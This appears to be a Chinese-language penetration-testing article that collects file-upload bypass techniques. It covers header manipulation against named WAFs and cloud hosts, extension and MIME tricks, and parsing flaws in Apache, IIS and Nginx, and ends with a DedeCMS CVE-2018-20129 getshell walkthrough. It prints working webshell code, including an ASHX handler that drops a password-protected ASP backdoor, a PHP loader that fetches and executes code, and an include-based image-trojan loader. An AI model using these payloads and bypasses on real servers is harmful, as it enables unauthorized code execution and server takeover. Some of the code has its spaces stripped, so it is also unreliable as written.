文件上傳漏洞可以說(shuō)是日常滲透測(cè)試用得最多的一個(gè)漏洞,因?yàn)橛盟@得服務(wù)器權(quán)限最快最直接。
但是想真正把這個(gè)漏洞利用好卻不那么容易,其中有很多技巧,也有很多需要掌握的知識(shí)。
俗話說(shuō),知己知彼方能百戰(zhàn)不殆,因此想要研究怎么防護(hù)漏洞,就要了解怎么去利用。
文件上傳校驗(yàn)姿勢(shì)常見(jiàn)有這些
客戶端JAVAscript校驗(yàn)(一般只校驗(yàn)后綴名)服務(wù)端校驗(yàn)文件頭content-type字段校驗(yàn)(image/gif)文件內(nèi)容頭校驗(yàn)(GIF89a)后綴名黑名單校驗(yàn)后綴名白名單校驗(yàn)自定義正則校驗(yàn)WAF設(shè)備校驗(yàn)(根據(jù)不同的WAF產(chǎn)品而定)
以下我們分類總結(jié)一下繞過(guò)手段這里我們分類總結(jié)一下繞過(guò)手段
WAF繞過(guò)
安全狗繞過(guò)
1.繞過(guò)思路:對(duì)文件的內(nèi)容,數(shù)據(jù),數(shù)據(jù)包進(jìn)行處理。
關(guān)鍵點(diǎn)在這里Content-Disposition: form-data; name="file"; filename="ian.php"將form-data;修改為~form-data;
2.通過(guò)替換大小寫(xiě)來(lái)進(jìn)行繞過(guò)
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: Application/octet-stream將Content-Disposition修改為content-Disposition將 form-data 修改為Form-data將Content-Type修改為content-Type
3.通過(guò)刪減空格來(lái)進(jìn)行繞過(guò)
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream將Content-Disposition: form-data 冒號(hào)后面增加或減少一個(gè)空格將form-data; name="file";分號(hào)后面增加或減少一個(gè)空格將Content-Type: application/octet-stream 冒號(hào)后面增加一個(gè)空格
4.通過(guò)字符串拼接繞過(guò)
看Content-Disposition: form-data; name="file"; filename="yjh3.php"將 form-data 修改為 f+orm-data將from-data 修改為 form-d+ata
5.雙文件上傳繞過(guò)
<formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form‐data"><inputname="FileName1"type="FILE"class="tx1"size="40"><inputname="FileName2"type="FILE"class="tx1"size="40"><inputtype="submit"name="Submit"value="上傳"></form>
6.HTTP header 屬性值繞過(guò)
Content-Disposition: form-data; name="file"; filename="yjh.php"我們通過(guò)替換form-data 為*來(lái)繞過(guò)Content-Disposition:*; name="file"; filename="yjh.php"
7.HTTP header 屬性名稱繞過(guò)
源代碼:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png繞過(guò)內(nèi)容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號(hào)要跟著c.php".
8.等效替換繞過(guò)
原內(nèi)容:Content-Type: multipart/form-data; boundary=---------------------------471463142114修改后:Content-Type: multipart/form-data; boundary =---------------------------471463142114boundary后面加入空格。
9.修改編碼繞過(guò)
使用UTF-16、Unicode、雙URL編碼等等
WTS-WAF 繞過(guò)上傳
原內(nèi)容:Content-Disposition: form-data; name="up_picture"; filename="xss.php"添加回車Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云上傳繞過(guò)
百度云繞過(guò)就簡(jiǎn)單的很多很多,在對(duì)文件名大小寫(xiě)上面沒(méi)有檢測(cè)php是過(guò)了的,Php就能過(guò),或者PHP,一句話自己合成圖片馬用Xise連接即可。Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里云上傳繞過(guò)
源代碼:Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg修改如下:Content-Disposition: form-data; name="img_crop_file"; filename="1.php"沒(méi)錯(cuò),將=號(hào)這里回車刪除掉Content-Type: image/jpeg即可繞過(guò)。
360主機(jī)上傳繞過(guò)
源代碼:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png繞過(guò)內(nèi)容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngContent-Disposition 修改為 Content-空格Disposition
MIME類型繞過(guò)
上傳木馬時(shí),提示格式錯(cuò)誤。直接抓包修改Content-Type為正確的格式嘗試?yán)@過(guò)
文件內(nèi)容檢測(cè)繞過(guò)
抓包,在正常圖片末尾添加一句話木馬
多次上傳Win特性繞過(guò)
多次上傳同一個(gè)文件,windows會(huì)自動(dòng)更新補(bǔ)全TEST (1).php。有時(shí)會(huì)觸發(fā)條件競(jìng)爭(zhēng),導(dǎo)致繞過(guò)。
條件競(jìng)爭(zhēng)繞過(guò)
通過(guò)BURP不斷發(fā)包,導(dǎo)致不斷寫(xiě)入Webshell,再寫(xiě)入速度頻率上超過(guò)安全軟件查殺頻率,導(dǎo)致繞過(guò)。
CONTENT-LENGTH繞過(guò)
針對(duì)這種類型的驗(yàn)證,我們可以通過(guò)上傳一些非常短的惡意代碼來(lái)繞過(guò)。上傳文件的大小取決于,Web服務(wù)器上的最大長(zhǎng)度限制。我們可以使用不同大小的文件來(lái)fuzzing上傳程序,從而計(jì)算出它的限制范圍。
文件內(nèi)容檢測(cè)繞過(guò)
針對(duì)文件內(nèi)容檢測(cè)的繞過(guò),一般有兩種方式,1.制作圖片馬2.文件幻術(shù)頭繞過(guò)
垃圾數(shù)據(jù)填充繞過(guò)
修改HTTP請(qǐng)求,再之中加入大量垃圾數(shù)據(jù)。
黑名單后綴繞過(guò)
文件擴(kuò)展名繞過(guò)
Php除了可以解析php后綴還可以解析php2.php3,php4 后綴
ashx上傳繞過(guò)
cer,asa,cdx等等無(wú)法使用時(shí)候。解析后就會(huì)生成一個(gè)test.asp的馬,你就可以連接這個(gè)test.asp 密碼為:put<%@WebHandlerLanguage="C#"Class="Handler"%>usingSystem;usingSystem.Web;usingSystem.IO;publicclassHandler:IHttpHandler{publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain";//這里會(huì)在目錄下生成一個(gè)test.asp的文件StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp"));//這里是寫(xiě)入一句話木馬 密碼是:ptu file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close();}publicboolIsReusable{get{returnfalse;}}}
特殊文件名繞過(guò)
比如發(fā)送的 http包里把文件名改成 test.asp.或 test.asp_(下劃線為空格),這種命名方式在windows系統(tǒng)里是不被允許的,所以需要在 burp之類里進(jìn)行修改,然后繞過(guò)驗(yàn)證后,會(huì)被windows系統(tǒng)自動(dòng)去掉后面的點(diǎn)和空格,但要注意Unix/linux系統(tǒng)沒(méi)有這個(gè)特性。
Windows流特性繞過(guò)
php在windows的時(shí)候如果文件名+"::$DATA"會(huì)把::$DATA之后的數(shù)據(jù)當(dāng)成文件流處理,不會(huì)檢測(cè)后綴名.且保持"::$DATA"之前的文件名。
白名單后綴繞過(guò)
00截?cái)嗬@過(guò)上傳
php .jpg 空格二進(jìn)制20改為00IIS 6.0目錄路徑檢測(cè)解析繞過(guò)上傳路徑改為XXX/1.asp/
htaccess解析漏洞
上傳的jpg文件都會(huì)以php格式解析.htaccess內(nèi)容:AddType application/x-httpd-php .jpg
突破MIME限制上傳
方法:找一個(gè)正常的可上傳的查看其的MIME類型,然后將馬子的MIME改成合法的MIME即可。
Apache解析漏洞
1.一個(gè)文件名為test.x1.x2.x3的文件,apache會(huì)從x3的位置開(kāi)始嘗試解析,如果x3不屬于apache能夠解析的擴(kuò)展名,那么apache會(huì)嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會(huì)報(bào)錯(cuò)。2.CVE-2017-15715,這個(gè)漏洞利用方式就是上傳一個(gè)文件名最后帶有換行符(只能是\x0A,如上傳a.php,然后在burp中修改文件名為a.php\x0A),以此來(lái)繞過(guò)一些黑名單過(guò)濾。
IIS解析漏洞
IIS6.0在解析asp格式的時(shí)候有兩個(gè)解析漏洞,一個(gè)是如果目錄名包含".asp"字符串,那么這個(gè)目錄下所有的文件都會(huì)按照asp去解析,另一個(gè)是只要文件名中含有".asp;"會(huì)優(yōu)先按asp來(lái)解析IIS7.0/7.5是對(duì)php解析時(shí)有一個(gè)類似于Nginx的解析漏洞,對(duì)任意文件名只要在URL后面追加上字符串"/任意文件名.php"就會(huì)按照php的方式去解析;
Nginx解析漏洞
解析:(任意文件名)/(任意文件名).php |(任意文件名)%00.php描述:目前Nginx主要有這兩種漏洞,一個(gè)是對(duì)任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加為test.jpg/x.php進(jìn)行解析攻擊。還有一種是對(duì)低版本的Nginx可以在任意文件名后面添加%00.php進(jìn)行解析攻擊。
解析漏洞
Content-Disposition: form-data; name="file"; filename=php.php;.jpg
前端限制繞過(guò)
使用BURP抓包修改后重放或者使用瀏覽器中元素審查,修改允許或禁止上傳文件類型。
下載繞過(guò)
遠(yuǎn)程下載文件繞過(guò)
<?php$str = file_get_contents('http://127.0.0.1/ian.txt');$str($_post['ian']);?>
文件包含繞過(guò)
上傳圖片木馬
$x=$_GET['x'];include($x);訪問(wèn):http://www.xxxx.com/news.php?x=xxxxxx.jpg
下面我們來(lái)看個(gè)案例:CVE-2018-20129-——DedeCMS V5.7 SP2前臺(tái)文件上傳漏洞
Desdev DedeCMS 5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上傳漏洞,遠(yuǎn)程攻擊者可利用該漏洞上傳并執(zhí)行任意PHP代碼。
最新的DEDECMS系統(tǒng)存在前臺(tái)文件上傳漏洞,需要管理員打開(kāi)會(huì)員中心,訪問(wèn)鏈接:http://127.0.0.1/dedecms/uploads/member/content_list.php?channelid=1或者進(jìn)入會(huì)員中心后進(jìn)入內(nèi)容中心模塊,然后發(fā)布一個(gè)文章。
點(diǎn)擊下面的編輯器的上傳圖片按鈕。

點(diǎn)擊上傳,選擇準(zhǔn)備好的一句話圖片木馬文件

再用burp工具抓包,將1.jpg改為1.jpg.p*hp

然后重新請(qǐng)求發(fā)送數(shù)據(jù)包,成功的getshell了,并返回了木馬地址。

代碼部分
漏洞在于用戶發(fā)布文章上傳圖片處。
處理文件在/include/dialog/select_images_post.php中的36行,
過(guò)濾了一些看起來(lái)不正常(異常)的字符。

而上傳文件存在全局過(guò)濾/include/uploadsafe.inc.php可以看到名字中不得有上述字符,且限制了content-type。
按道理說(shuō)直接限制不得存在的字符,似乎沒(méi)有問(wèn)題了,可在發(fā)布文章文件上傳的處理文件select_images_post.php中存在如下代碼:

再次過(guò)濾了圖片名,并且再次判斷如上三種文件類型是否存在其中。
這么一次過(guò)濾,直接粗暴的將一些特殊字符替換為空
那么我們就可以通過(guò)特殊字符繞過(guò)上面的全局文件名不能包含php字符的限制
比如文件名為1.jpg.php,從而可以判斷,不僅僅只有可以繞過(guò),% ?<> :都是可以繞過(guò)的

